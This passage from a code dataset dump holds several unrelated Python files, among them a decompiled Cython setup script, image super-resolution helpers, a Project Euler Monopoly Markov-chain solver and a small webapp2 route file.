string.replace(\"\\\\\\\\u\", \"\\\\u\")\n string = string.replace(\"\\\\\\\\U\", \"\\\\U\")\n # Now we unescape by evaling the string with the AST. This can't execute\n # code -- it only does the representational level.\n return ast.literal_eval(\"u'''\" + string + \"'''\")\n","sub_path":"spacy/compat.py","file_name":"compat.py","file_ext":"py","file_size_in_byte":5215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"632015334","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.3 (3230)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /Users/lsbardel/workspace/python-stdnet/extensions/setup.py\n# Compiled at: 2013-06-20 16:59:58\n# Size of source mod 2**32: 2527 bytes\nimport os, sys\nfrom distutils.core import setup\nfrom distutils.extension import Extension\nfrom distutils.errors import CCompilerError, DistutilsExecError, DistutilsPlatformError\nfrom Cython.Distutils import build_ext\nfrom Cython.Build import cythonize\ntry:\n import numpy\n include_dirs = [\n numpy.get_include()]\nexcept ImportError:\n include_dirs = []\n\next_errors = (\n CCompilerError, DistutilsExecError, DistutilsPlatformError)\nif sys.platform == 'win32':\n if sys.version_info > (2, 6):\n ext_errors += (IOError,)\n\nclass BuildFailed(Exception):\n\n def __init__(self, msg=None):\n if not msg:\n msg = str(sys.exc_info()[1])\n self.msg = msg\n\n\nclass tolerant_build_ext(build_ext):\n\n def run(self):\n try:\n build_ext.run(self)\n except DistutilsPlatformError:\n raise BuildFailed\n\n def build_extension(self, ext):\n try:\n build_ext.build_extension(self, ext)\n except ext_errors:\n raise BuildFailed\n except ValueError:\n if \"'path'\" in str(sys.exc_info()[1]):\n raise BuildFailed\n raise\n\n\nlib_path = os.path.dirname(__file__)\nextra_compile_args = []\nextension = Extension('stdnet.backends.redisb.cparser', [\n os.path.join(lib_path, 'src', 'cparser.pyx')], language='c++', include_dirs=include_dirs)\ninclude_dirs.append(os.path.join(lib_path, 'src'))\nlibparams = {'ext_modules': cythonize(extension), \n 'cmdclass': {'build_ext': tolerant_build_ext}, 'include_dirs': include_dirs}","sub_path":"pycfiles/python-stdnet-0.8.2.tar/setup.cpython-33.py","file_name":"setup.cpython-33.py","file_ext":"py","file_size_in_byte":1828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"382576408","text":"import re\n\nnumbers = re.findall('\\d+', '5x + 2y = 5')\n\nprint(numbers[0])\n\nprint(numbers[1])\n\nprint(numbers[2])\n\n\ninput = 'x(4x(3x)) = (2y)'.replace(\" \", \"\")\nprint(input)\n\n# Step 1: Equal sign (=)\n\nequal = input.find('=')\n\nleftside = input[0:equal]\nrightside = input[equal+1:]\n\nprint(leftside)\nprint(rightside)\n\n\n# Step 2: Brackets ()\n# Procedure:\n\"\"\"\n1. Find first ( and first )\n2. delete from initial string and replace it with V1, V2 ... \n3. Store that string \n\n\nException: x(3x(5x)) so if in this bracket part, other brackets are present, continue with the inner part\n\"\"\"\n\nbracket1 = input.find('(')\nbracket2 = input.find(')')\n\nbrackets = input[bracket1+1:bracket2]\nprint(brackets)\n\n\n# Must be a for loop untill ???\n\nif '(' in brackets:\n tempbracket = brackets.find('(')\n print(tempbracket)\n newposbracket = tempbracket + bracket1\n\nelse:\n print(\"There are no other brackets\")\n\ntempinput = input\n\n# Next lines of code need to be fixed\n\ntempinput.replace(tempinput[newposbracket:bracket2], 'V1')\n\nprint(tempinput)","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":1026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"517677293","text":"import torch \r\nimport torch.nn.functional as F\r\nimport torchvision.transforms as transforms\r\n\r\nimport numpy as np\r\nfrom PIL import Image\r\n\r\n\r\n\r\ndef DUF_downsample(x, scale=4):\r\n \"\"\"Downsamping with Gaussian kernel used in the DUF official code\r\n\r\n Args:\r\n x (Tensor, [B, T, C, H, W]): frames to be downsampled.\r\n scale (int): downsampling factor: 2 | 3 | 4.\r\n \"\"\"\r\n\r\n assert scale in [2, 3, 4], 'Scale [{}] is not supported'.format(scale)\r\n\r\n def gkern(kernlen=13, nsig=1.6):\r\n import scipy.ndimage.filters as fi\r\n inp = np.zeros((kernlen, kernlen))\r\n # set element at the middle to one, a dirac delta\r\n inp[kernlen // 2, kernlen // 2] = 1\r\n # gaussian-smooth the dirac, resulting in a gaussian filter mask\r\n return fi.gaussian_filter(inp, nsig)\r\n\r\n T = len(x)\r\n x = torch.stack(x, 1)\r\n \r\n B, T, C, H, W = x.size()\r\n x = x.view(-1, 1, H, W)\r\n pad_w, pad_h = 6 + scale * 2, 6 + scale * 2 # 6 is the pad of the gaussian filter\r\n r_h, r_w = 0, 0\r\n if scale == 3:\r\n r_h = 3 - (H % 3)\r\n r_w = 3 - (W % 3)\r\n x = F.pad(x, [pad_w, pad_w + r_w, pad_h, pad_h + r_h], 'reflect')\r\n\r\n gaussian_filter = torch.from_numpy(gkern(13, 0.4 * scale)).type_as(x).unsqueeze(0).unsqueeze(0)\r\n x = F.conv2d(x, gaussian_filter, stride=scale)\r\n x = x[:, :, 2:-2, 2:-2]\r\n x = x.view(B, T, C, x.size(2), x.size(3))\r\n\r\n outs = []\r\n\r\n for t in range(T):\r\n outs.append(x[:,t])\r\n\r\n return outs\r\n\r\n\r\ndef load_pretrained_weight(model, path):\r\n\r\n pretrained_dict = torch.load(path)\r\n model_dict = model.state_dict()\r\n pretrained_dict = {k:v for k,v in pretrained_dict.items() if k in model_dict}\r\n model_dict.update(pretrained_dict)\r\n model.load_state_dict(model_dict)\r\n\r\n return model\r\n\r\ndef pad_img(x, scale_factor=4):\r\n\r\n b,c,h,w = x.size()\r\n wt = (( w//(64*scale_factor)+1)*64*scale_factor -w)\r\n ht = (( h//(64*scale_factor)+1)*64*scale_factor -h)\r\n wp = np.int(wt/2)\r\n hp = np.int(ht/2)\r\n x = F.pad(x, pad=[wp,wp,hp,hp], mode='replicate')\r\n\r\n return x, wp, hp\r\n\r\ndef tensor_to_numpy(x, is_cuda = True):\r\n\r\n if is_cuda:\r\n x = x.cpu().data.numpy()\r\n x = np.transpose(x.astype('float32'), [0,2,3,1])\r\n x = np.clip((x+1.)/2., 0,1)\r\n \r\n return x\r\n\r\ndef numpy_to_tensor(x, is_cuda = True):\r\n \r\n transformations = transforms.Compose(\r\n [transforms.ToTensor(), \r\n transforms.Normalize((0.5,0.5,0.5), (0.5,0.5,0.5))])\r\n \r\n x = transformations(x)\r\n x = x.unsqueeze(0)\r\n if is_cuda:\r\n x = x.float().cuda()\r\n else:\r\n x = x.float()\r\n \r\n return x\r\n\r\ndef num_to_filename(cnt = 1):\r\n\r\n MAX_LEN = 6\r\n str_cnt = str(cnt)\r\n \r\n file_str = '0'\r\n for c in range(MAX_LEN - len(str_cnt)):\r\n file_str += '0'\r\n\r\n file_str += str_cnt\r\n\r\n return file_str\r\n\r\ndef clip_and_numpy(x, wp, hp):\r\n\r\n if(wp !=0 and hp !=0):\r\n x = x[:,:,hp:-hp,wp:-wp]\r\n elif(wp==0 and hp!=0):\r\n x = x[:,:,hp:-hp,:]\r\n elif(wp!=0 and hp==0):\r\n x = x[:,:,:,wp:-wp]\r\n \r\n x = tensor_to_numpy(x)[0] \r\n\r\n return x\r\n\r\ndef save_img(img, save_path):\r\n canvas = np.asarray(img)*255\r\n canvas = canvas.astype(np.uint8)\r\n canvas = Image.fromarray(canvas)\r\n canvas.save(save_path)\r\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"457811649","text":"\"\"\"\nMichael S. Emanuel\nTue Apr 24 16:41:42 2018\n\nMonopoly odds\nProblem 84\nhttps://projecteuler.net/problem=84\n\nSee here for a picture of the board:\nhttps://images-na.ssl-images-amazon.com/images/I/51AnnChCJcL.jpg\n\nIn the game, Monopoly, the standard board is set up in the following way:\n\nGO\tA1\tCC1\tA2\tT1\tR1\tB1\tCH1\tB2\tB3\tJAIL\nH2 C1\nT2 U1\nH1 C2\nCH3 C3\nR4 R2\nG3 D1\nCC3 CC2\nG2 D2\nG1 D3\nG2J\tF3\tU2\tF2\tF1\tR3\tE3\tE2\tCH2\tE1\t FP\n\nA player starts on the GO square and adds the scores on two 6-sided dice to determine the number\nof squares they advance in a clockwise direction. Without any further rules we would expect to\nvisit each square with equal probability: 2.5%.\nHowever, landing on G2J (Go To Jail), CC (community chest), and CH (chance)\nchanges this distribution.\n\nIn addition to G2J, and one card from each of CC and CH, that orders the player to go directly to\njail, if a player rolls three consecutive doubles, they do not advance the result of their 3rd\nroll. Instead they proceed directly to jail.\n\nAt the beginning of the game, the CC and CH cards are shuffled.\nWhen a player lands on CC or CH they take a card from the top of the respective pile and, after\nfollowing the instructions, it is returned to the bottom of the pile.\nThere are sixteen cards in each pile, but for the purpose of this problem we are only concerned\nwith cards that order a movement; any instruction not concerned with movement will be ignored and\nthe player will remain on the CC/CH square.\n\nCommunity Chest (2/16 cards):\nAdvance to GO\nGo to JAIL\nChance (10/16 cards):\nAdvance to GO\nGo to JAIL\nGo to C1\nGo to E3\nGo to H2\nGo to R1\nGo to next R (railway company)\nGo to next R\nGo to next U (utility company)\nGo back 3 squares.\n\nThe heart of this problem concerns the likelihood of visiting a particular square.\nThat is, the probability of finishing at that square after a roll.\nFor this reason it should be clear that, with the exception of G2J for which the probability of\nfinishing on it is zero, the CH squares will have the lowest probabilities, as 5/8 request a\nmovement to another square, and it is the final square that the player finishes at on each roll\nthat we are interested in. We shall make no distinction between \"Just Visiting\" and being sent to\nJAIL, and we shall also ignore the rule about requiring a double to \"get out of jail\", assuming\nthat they pay to get out on their next turn.\n\nBy starting at GO and numbering the squares sequentially from 00 to 39 we can concatenate these\ntwo-digit numbers to produce strings that correspond with sets of squares.\n\nStatistically it can be shown that the three most popular squares, in order, are\nJAIL (6.24%) = Square 10, E3 (3.18%) = Square 24, and GO (3.09%) = Square 00.\nSo these three most popular squares can be listed with the six-digit modal string: 102400.\n\nIf, instead of using two 6-sided dice, two 4-sided dice are used, find the six-digit modal string.\n\"\"\"\n\nimport numpy as np\nfrom Euler.Utility import range_inc\nfrom typing import List, Tuple, Dict, Callable\n\n# Type aliases\nmsqReturnType = Tuple[Tuple[str, ...], Tuple[int, ...], Dict[int, str], Dict[str, int]]\nmsqtReturnType = Tuple[Tuple[str, ...], Dict[str, str]]\nmdReturnType = msqReturnType\nmstReturnType = msqReturnType\n\n\ndef makeSquares() -> msqReturnType:\n # List of square names\n squareNames: Tuple[str, ...] = (\n 'GO', 'A1', 'CC1', 'A2', 'T1', 'R1', 'B1', 'CH1', 'B2', 'B3', 'JAIL',\n 'C1', 'U1', 'C2', 'C3', 'R2', 'D1', 'CC2', 'D2', 'D3', 'FP',\n 'E1', 'CH2', 'E2', 'E3', 'R3', 'F1', 'F2', 'U2', 'F3', 'G2J',\n 'G1', 'G2', 'CC3', 'G3', 'R4', 'CH3', 'H1', 'T2', 'H2')\n # Number of squares\n N: int = len(squareNames)\n # List of squareIDs; integers from 0 to 39\n squareIDs: Tuple[int, ...] = tuple([n for n in range(N)])\n # Map between square name and number (both ways)\n squareIDtoName: Dict[int, str] = dict([(n, squareNames[n]) for n in squareIDs])\n squareNameToID: Dict[str, int] = dict([(squareNames[n], n) for n in squareIDs])\n # Return these objects\n return (squareNames, squareIDs, squareIDtoName, squareNameToID)\n\n\ndef makeSquareTypes() -> msqtReturnType:\n # Types of squares\n squareTypes: Tuple[str, ...] = ('LAND', 'RR', 'UTIL', 'TAX', 'CH', 'CC', 'G2J', 'JAIL', 'FREE')\n # Map square name to type\n sqNamesByType: Dict[str, Tuple[str, ...]] = dict()\n sqNamesByType['LAND'] = (\n 'A1', 'A2', 'B1', 'B2', 'B3', 'C1', 'C2', 'C3', 'D1', 'D2', 'D3',\n 'E1', 'E2', 'E3', 'F1', 'F2', 'F3', 'G1', 'G2', 'G3', 'H1', 'H2') # 22\n sqNamesByType['RR'] = ('R1', 'R2', 'R3', 'R4') # 4\n sqNamesByType['UTIL'] = ('U1', 'U2') # 2\n sqNamesByType['TAX'] = ('T1', 'T2') # 2\n sqNamesByType['CH'] = ('CH1', 'CH2', 'CH3') # 3\n sqNamesByType['CC'] = ('CC1', 'CC2', 'CC3') # 3\n sqNamesByType['FREE'] = ('GO', 'FP',) # 2\n sqNamesByType['JAIL'] = ('JAIL',) # 1\n sqNamesByType['G2J'] = ('G2J',) # 1\n # Assemble names by type into a a single dictionary mapping names to types\n squareNameToType: Dict['str', 'str'] = \\\n dict([(snm, styp) for (styp, snms) in sqNamesByType.items() for snm in snms])\n # Return sqNameToType map\n return (squareTypes, squareNameToType)\n\n\ndef makeDoubles() -> mdReturnType:\n # The number of consecutive doubles that have been rolled\n doubleNames: Tuple[str, str, str] = ('0', '1', '2')\n doubleIDs: Tuple[int, int, int] = (0, 1, 2)\n doubleIDtoName: Dict[int, str] = dict([(n, doubleNames[n]) for n in doubleIDs])\n doubleNameToID: Dict[str, int] = dict([(doubleNames[n], n) for n in doubleIDs])\n # Return\n return (doubleNames, doubleIDs, doubleIDtoName, doubleNameToID)\n\n\ndef makeDiceRolls(diceSides: int = 6) -> Dict[Tuple[int, bool], float]:\n # Roll of one die\n dieRoll: Tuple[int, ...] = tuple([n for n in range_inc(diceSides)])\n # Dice roll is the number of spaces and a bool indicating whether the roll was a double\n diceRolls: Dict[Tuple[int, bool], float] = dict()\n rollEvents: int = diceSides * diceSides\n for d1 in dieRoll:\n for d2 in dieRoll:\n offset: int = (d1 + d2)\n isDouble: bool = (d1 == d2)\n prob: float = 1.0 / rollEvents\n entry: Tuple[int, bool] = (offset, isDouble)\n diceRolls[entry] = diceRolls.get(entry, 0.0) + prob\n return diceRolls\n\n\ndef makeStates(squareNames: Tuple[str, ...], doubleNames: Tuple[str, ...]) -> mstReturnType:\n # The game state for this exercise is the Cartesian product of the square and the number\n # of consecutive doubles that have been rolled\n stateNames: Tuple[str, ...] = \\\n tuple([squareName + '.' + n for n in doubleNames for squareName in squareNames])\n stateIDs: Tuple[int, ...] = tuple([n for n in range(len(stateNames))])\n stateIDtoName: Dict[int, str] = dict([(n, stateNames[n]) for n in stateIDs])\n stateNameToID: Dict[str, int] = dict([(stateNames[n], n) for n in stateIDs])\n # Return these objects\n return (stateNames, stateIDs, stateIDtoName, stateNameToID)\n\n\n# Main\n\n# Make monopoly squares\nsquareNames: Tuple[str, ...]\nsquareIDs: Tuple[int, ...]\nsquareIDtoName: Dict[int, str]\nsquareNameToID: Dict[str, int]\n(squareNames, squareIDs, squareIDtoName, squareNameToID) = makeSquares()\n\n# Monopoly square types\nsquareTypes: Tuple[str, ...]\nsquareNameToType: Dict[str, str]\n(squareTypes, squareNameToType) = makeSquareTypes()\n\n# Make doubles\ndoubleNames: Tuple[str, ...]\ndoubleIDs: Tuple[int, ...]\ndoubleIDtoName: Dict[int, str]\ndoubleNameToID: Dict[str, int]\n(doubleNames, doubleIDs, doubleIDtoName, doubleNameToID) = makeDoubles()\n# Maximum consecutive doubles (to to jail after 3 doubles)\nmaxConsDouble: int = len(doubleIDs)\n\n# Make dice rolls\ndiceSides: int = 6\ndiceRolls: Dict[Tuple[int, bool], float] = makeDiceRolls(diceSides)\n\n# Make game states\nstateNames: Tuple[str, ...]\nstateIDs: Tuple[int, ...]\nstateIDtoName: Dict[int, str]\nstateNameToID: Dict[str, int]\n(stateNames, stateIDs, stateIDtoName, stateNameToID) = makeStates(squareNames, doubleNames)\n\n# Number of game squares\nN: int = len(squareIDs)\n# Number of game states\nM: int = len(stateIDs)\n\n\ndef shiftedSquareID(squareID: int, offset: int) -> int:\n \"\"\"Shift squareID forward by offset, wrapping around past GO if necessary.\"\"\"\n return (squareID + offset) % N\n\n\ndef stateID_fromParts(squareID: int, doubleID: int) -> int:\n \"\"\"Return a StateID given a SquareID and a DoubleID\"\"\"\n return doubleID * N + squareID\n\n\ndef stateID_toParts(stateID: int) -> Tuple[int, int]:\n \"\"\"Extract the SquareID and DoubleID corresponding to a StateID\"\"\"\n squareID: int = stateID % N\n doubleID: int = stateID // N\n return(squareID, doubleID)\n\n\ndef isBasicSquare(squareID: int) -> bool:\n # Get the type of this square\n squareName: str = squareIDtoName[squareID]\n squareTypeName: str = squareNameToType[squareName]\n # List of basic square types:\n basicSquareTypes = ('LAND', 'RR', 'UTIL', 'TAX', 'JAIL', 'FREE')\n # specialSquareTypes = ('CH', 'CC', 'G2J')\n # Check that the input square has a basic type\n return (squareTypeName in basicSquareTypes)\n\n\ndef squareProbType(squareID: int) -> str:\n \"\"\"Four types of transition probability: BASIC, CC, CH, G2J.\"\"\"\n # Get the type of this square\n squareName: str = squareIDtoName[squareID]\n squareTypeName: str = squareNameToType[squareName]\n # If squareType is not basic, the probType is the same as the squareType\n return 'BASIC' if isBasicSquare(squareID) else squareTypeName\n\n\ndef makeTransProb_Basic(stateID: int) -> np.ndarray:\n \"\"\"Make a transition probability vector for squares with basic type\"\"\"\n # Extract the squareID and doubleID from the stateID\n squareID: int\n doubleID: int\n (squareID, doubleID) = stateID_toParts(stateID)\n\n # Initialize transition probability to zero\n tp: np.ndarray = np.zeros((M, 1))\n # The offset and isDouble flag from dice rolls\n offset: int\n isDouble: bool\n prob: float\n # Square corresponding to jail and go to jail\n squareID_JAIL: int = squareNameToID['JAIL']\n squareID_G2J: int = squareNameToID['G2J']\n\n # Iterate through possible dice rolls\n for (offset, isDouble), prob in diceRolls.items():\n # Did this new roll send you to jail on consecutive doubles?\n # isJail: bool = (doubleID == 2 and isDouble)\n isNormalRoll: bool = not (doubleID == 2 and isDouble)\n # The new squareID and doubleID\n squareID_New: int = shiftedSquareID(squareID, offset) if isNormalRoll else squareID_JAIL\n doubleID_New: int = 0 if not isDouble else ((doubleID + 1) % maxConsDouble)\n # Combine these to get the new stateID\n stateID_New = stateID_fromParts(squareID_New, doubleID_New)\n # Add the probability of this dice roll to entry for stateID_New\n tp[stateID_New] += prob\n\n # Apply go to jail if applicable\n for doubleID in doubleIDs:\n stateID_JAIL = stateID_fromParts(squareID_JAIL, doubleID)\n stateID_G2J = stateID_fromParts(squareID_G2J, doubleID)\n tp[stateID_JAIL] += tp[stateID_G2J]\n tp[stateID_G2J] = 0.0\n\n # Return the assembled transition probability vector\n return tp\n\n\ndef makeTransProb_G2J(stateID: int) -> np.ndarray:\n tp: np.ndarray = np.zeros((M, 1))\n # StateID for jail\n squareID_JAIL: int = squareNameToID['JAIL']\n doubleID: int = 0\n stateID_JAIL: int = stateID_fromParts(squareID_JAIL, doubleID)\n # Set transition probability for jail\n tp[stateID_JAIL] += 1.0\n return tp\n\n\ndef makeTransProb_CC(stateID: int) -> np.ndarray:\n \"\"\"Make special transition probability vector for Community Chest squares.\"\"\"\n # Extract the squareID and doubleID from the stateID\n squareID: int\n doubleID: int\n (squareID, doubleID) = stateID_toParts(stateID)\n # The number of that are basic or special\n cardsBasic: int = 14\n cardsSpecial: int = 2\n # Total number of cards\n cardsTotal: int = cardsBasic + cardsSpecial\n\n assert (cardsTotal == 16), 'Error in Community Chest card total!'\n # First calculate the basic transition probabilities.\n # These will apply if the card picked does not send you to GO or JAIL\n tpBasic: np.ndarray = makeTransProb_Basic(stateID)\n\n # Below calculate the transition probability arising from special cards.\n # 1 / 16 chance Advance to GO\n # 1 / 16 chance Go to JAIL\n tpSpecial: np.ndarray = np.zeros((M, 1))\n # SquareID for JAIL and GO\n squareID_GO: int = squareNameToID['GO']\n squareID_JAIL: int = squareNameToID['JAIL']\n # StateIDs for these squares; when you get sent to jail, double resets to 0\n stateID_GO: int = stateID_fromParts(squareID_GO, doubleID)\n stateID_JAIL: int = stateID_fromParts(squareID_JAIL, doubleID=0)\n # Transition probabilities to these special destination squares\n tpSpecial[stateID_GO] += 1 / cardsSpecial\n tpSpecial[stateID_JAIL] += 1 / cardsSpecial\n # The probability of a special event\n specialProb = cardsSpecial / cardsTotal\n\n # Return the basic and special probabilities\n return (tpBasic, tpSpecial, specialProb)\n\n\n# Reusable table: on one of the three Chance squares, what is the next railroad?\nnextRail: Dict[int, int] = {\n squareNameToID['CH1']: squareNameToID['R2'], # Red Chance -> Pennsylvania RR\n squareNameToID['CH2']: squareNameToID['R3'], # Blue Chance --> B & O RR\n squareNameToID['CH3']: squareNameToID['R1'], # Yellow Chance --> Reading RR\n }\n\n\n# Reusable table: on one of the three Chance squares, what is the next utility?\nnextUtil: Dict[int, int] = {\n squareNameToID['CH1']: squareNameToID['U1'], # Red Chance -> Electric Co.\n squareNameToID['CH2']: squareNameToID['U2'], # Blue Chance --> Water Co.\n squareNameToID['CH3']: squareNameToID['U1'], # Yellow Chance --> Electric Co.\n }\n\n\ndef makeTransProb_CH(stateID: int) -> Tuple[np.ndarray, np.ndarray, np.ndarray]:\n \"\"\"Make transition probability vector for Chance squares.\"\"\"\n # Extract the squareID and doubleID from the stateID\n squareID: int\n doubleID: int\n (squareID, doubleID) = stateID_toParts(stateID)\n # The number of that are basic or special\n cardsBasic: int = 6\n cardsSpecial: int = 10\n # Total number of cards\n cardsTotal: int = cardsBasic + cardsSpecial\n assert (cardsTotal == 16), 'Error in Community Chest card total!'\n\n # First calculate the basic transition probabilities.\n # These will apply if the card picked does not send you to GO or JAIL\n tpBasic: np.ndarray = makeTransProb_Basic(stateID)\n\n # Below calculate the transition probability arising from special cards.\n tpSpecial: np.ndarray = np.zeros((M, 1))\n # SquareID for special destination squares\n # Advance to GO\n squareID_GO: int = squareNameToID['GO']\n # Go to JAIL\n squareID_JAIL: int = squareNameToID['JAIL']\n # Go to C1\n squareID_C1: int = squareNameToID['C1']\n # Go to E3\n squareID_E3: int = squareNameToID['E3']\n # Go to H2\n squareID_H2: int = squareNameToID['H2']\n # Go to R1\n squareID_R1: int = squareNameToID['R1']\n # Go to next R; this appears twice\n squareID_NextR: int = nextRail[squareID]\n # Go to next U (utility company)\n squareID_NextU: int = nextUtil[squareID]\n # Go back 3 squares.\n squareID_Back3: int = shiftedSquareID(squareID, -3)\n # Assemble the above into a tuple of 10 squareIDs (duplicate next railroad)\n squareIDs = (squareID_GO, squareID_JAIL, squareID_C1, squareID_E3, squareID_H2,\n squareID_R1, squareID_NextR, squareID_NextR, squareID_NextU, squareID_Back3)\n # doubleIDs for the next state; usually the same as now ...\n doubleIDs: List[int] = cardsSpecial * [doubleID]\n # ... but when you get sent to jail, doubles counter resets to 0 (?)\n doubleIDs[1] = 0\n # doubleIDs: List[int] = cardsSpecial * [0]\n\n # Tuple of 10 StateIDs\n # stateIDs = [stateID_fromParts(squareID, doubleID) for squareID in squareIDs]\n stateIDs = [stateID_fromParts(squareIDs[i], doubleIDs[i]) for i in range(cardsSpecial)]\n # Transition probabilities to these special destination squares\n for stateID_New in stateIDs:\n tpSpecial[stateID_New] += 1 / cardsSpecial\n\n # The probability of a special event\n specialProb = cardsSpecial / cardsTotal\n\n # Return the basic and special probabilities\n return (tpBasic, tpSpecial, specialProb)\n\n\ndef makeTransProb(stateID: int) -> np.ndarray:\n \"\"\"Make transition probability vector for any square by dispatching to suitable worker.\"\"\"\n # Extract the squareID and doubleID from the stateID\n squareID: int\n doubleID: int\n (squareID, doubleID) = stateID_toParts(stateID)\n # Get the probability type for this square: BASIC, CC, CH, or G2J\n probType: str = squareProbType(squareID)\n\n def sanityCheck() -> None:\n \"\"\" Sanity check: probabilities sum to 1\"\"\"\n msg: str = f'Transition probility does not sum to 1 for stateID={stateID}.'\n assert np.isclose(np.sum(tp), 1.0), msg\n # Initialize transition probability to zero vector\n tp1: np.ndarray = np.zeros((M, 1))\n tp: np.ndarray\n # Dispatch calls to suitable helper functions\n if probType == 'BASIC':\n tp1 = makeTransProb_Basic(stateID)\n if probType == 'G2J':\n tp = makeTransProb_G2J(stateID)\n sanityCheck()\n return tp.flatten()\n if probType == 'CC':\n (tpBasic, tpSpecial, specialProb) = makeTransProb_CC(stateID)\n if probType == 'CH':\n (tpBasic, tpSpecial, specialProb) = makeTransProb_CH(stateID)\n if probType in ('CC', 'CH'):\n basicProb = 1.0 - specialProb\n tp = basicProb * tpBasic + specialProb * tpSpecial\n sanityCheck()\n return tp.flatten()\n\n # If the starting type was basic, perform a second pass where special transfers are applied\n # for go to jail, community chest and chance\n prob: float\n tp = np.zeros((M, 1))\n for newStateID in stateIDs:\n newSquareID, newDoublesID = stateID_toParts(newStateID)\n newProbType = squareProbType(newSquareID)\n # Save probability of this state into prob for adjustments below\n newStateProb = tp1[newStateID]\n # Allocate probability prob based on its type\n if newProbType == 'BASIC':\n tp[newStateID] += newStateProb\n if newProbType == 'G2J':\n # All of this probability flows to the Jail state with 0 doubles\n tp[stateNameToID['JAIL.0']] += newStateProb\n if newProbType == 'CC':\n # 2 out of 16 cards apply a special probability shift out of CC\n (_, tpSpecial, specialProb) = makeTransProb_CC(newStateID)\n if newProbType == 'CH':\n # 10 out of 16 cards apply a special probability shift out of Chance\n (_, tpSpecial, specialProb) = makeTransProb_CH(newStateID)\n if newProbType in ('CC', 'CH'):\n basicProb = 1.0 - specialProb\n tp[newStateID] += basicProb * newStateProb\n tp += specialProb * newStateProb * tpSpecial\n\n sanityCheck()\n # Flatten the transition probability so it can overwrite one column\n return tp.flatten()\n\n\n# Type alias for tisplayTransitionProb type\ndtpType = List[Tuple[str, int, int]]\n\n\ndef displayTransProbVec(tp: np.ndarray) -> dtpType:\n idx = np.nonzero(tp)\n i: int\n dispStateIDs: List[int] = [i for i in idx[0]]\n probs: List[float] = [np.asscalar(tp[i]) for i in dispStateIDs]\n dispStateNames: List[str] = [stateNames[i] for i in dispStateIDs]\n parts: List[Tuple[int, int]] = [stateID_toParts(stateID) for stateID in dispStateIDs]\n dispSquareIDs = [p[0] for p in parts]\n stateCount: int = len(dispStateIDs)\n dtp: List[Tuple[str, int, int]] = \\\n [(dispStateNames[i], dispSquareIDs[i], int(probs[i]*10000)) for i in range(stateCount)]\n dtp.sort(key=lambda x: x[1])\n return dtp\n\n\ndef displayTransProbFrom(stateID: int) -> dtpType:\n tp = tpMat[:, stateID]\n dtp = displayTransProbVec(tp)\n return dtp\n\n\ndef displayTransProbTo(stateID: int) -> dtpType:\n tp = tpMat[stateID, :]\n dtp = displayTransProbVec(tp)\n return dtp\n\n\n# Transition probability for each state\n# tp: np.ndarray\n# tpTbl: Dict[int, np.ndarray] = dict()\n# Transition Probability Matrix\ntpMat: np.ndarray = np.zeros((M, M))\nfor stateID in stateIDs:\n tpMat[:, stateID] = makeTransProb(stateID)\n pass\n\n# The initial state is on the GO square with zero doubles\nprob: np.ndarray = np.zeros((M, 1))\nsquareID_GO = squareNameToID['GO']\nstateID_Start = stateID_fromParts(squareID_GO, 0)\n# The initial probability distribution has a weight of 1.0 on the starting state\nprob[stateID_Start] = 1.0\n\n# Continue iterating the transition\n# prob = tpMat * prob\n# Until prob is close to its previous value\n# Cap the number of iterations to avoid slow running time\nmaxIters: int = 100\niterNum: int = 0\nprobPrev: np.ndarray = np.zeros((M, 1))\nwhile not np.allclose(prob, probPrev):\n probPrev = prob\n prob = tpMat @ prob\n iterNum += 1\n if iterNum > maxIters:\n break\nprint(f'Converged after {iterNum} iterations.')\n\n# Run 10 more iterations to polish the results\ni: int\nfor i in range(10):\n prob = tpMat @ prob\n\n# Now compress the states to probabilities of landing on each square\n# Left multiply state probabilities by the N X M matrix stateToSquare\nidMat: np.ndarray = np.identity(N)\nstateToSquare: np.ndarray = np.hstack(3*(idMat,))\n# The resulting square probabilities\nsquareProb: np.ndarray = stateToSquare @ prob\nnameProb = [(squareNames[n], squareIDs[n], np.asscalar(squareProb[n])*100) for n in range(N)]\nnameProb.sort(key=lambda x: x[2], reverse=True)\nmodalString: str = f'{nameProb[0][1]:02}{nameProb[1][1]:02}{nameProb[2][1]:02}'\nprint(f'Modal String = {modalString}.')\n\n# Display version of transition probability; in terms of squares not states\ntpDisp = stateToSquare @ tpMat\ntdp = displayTransProbFrom(0)\n\n\n# TODO: this is still not quite right. With normal dice, getting a probabilities\n# JAIL = 5.89% vs. 6.25%\n# E3 = 3.01% vs. 3.18%\n# D3 = 2.93% vs. 3.09%","sub_path":"Prob084_MonopolyOdds.py","file_name":"Prob084_MonopolyOdds.py","file_ext":"py","file_size_in_byte":22341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"377321827","text":"\n# -*- coding: utf-8 -*-\n\"\"\"WSGI Application and Routes\"\"\"\n\nimport os\nimport sys\nimport webapp2\nimport handlers\n\napp = webapp2.WSGIApplication(debug=True)\n\nsecure_scheme = 'https'\n\n_routes = [\n webapp2.Route('/', handlers.IndexHandler, methods=['GET','POST']),\n]\n\ndef add_routes(app, routes=_routes):\n if app.debug:\n secure_scheme = 'http'\n for r in routes:\n app.router.add(r)\n\nadd_routes(app,_routes)\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"194169809","text":"def modify(name):\n\t\"\"\"\n return the name with the last name first, followed by a comma,\n followed by the first name (if any), followed by the first letter of\n each remaining name with a period after each letter. \n name has at least one word. \n \"\"\"\n\tnamelist = name.split();\n\n\tif len(namelist) == 1:\n\t\treturn name\n\telif len(namelist) == 2:\n\t\treturn namelist[-1] + \", \" + namelist[0]\n\telse:\n\t\tmiddlenames = list()\n\t\tfor i in range(1,len(namelist)-1):\n\t\t\tif len(namelist[i]) > 1:\n\t\t\t\tmiddlenames.append(namelist[i][0] + 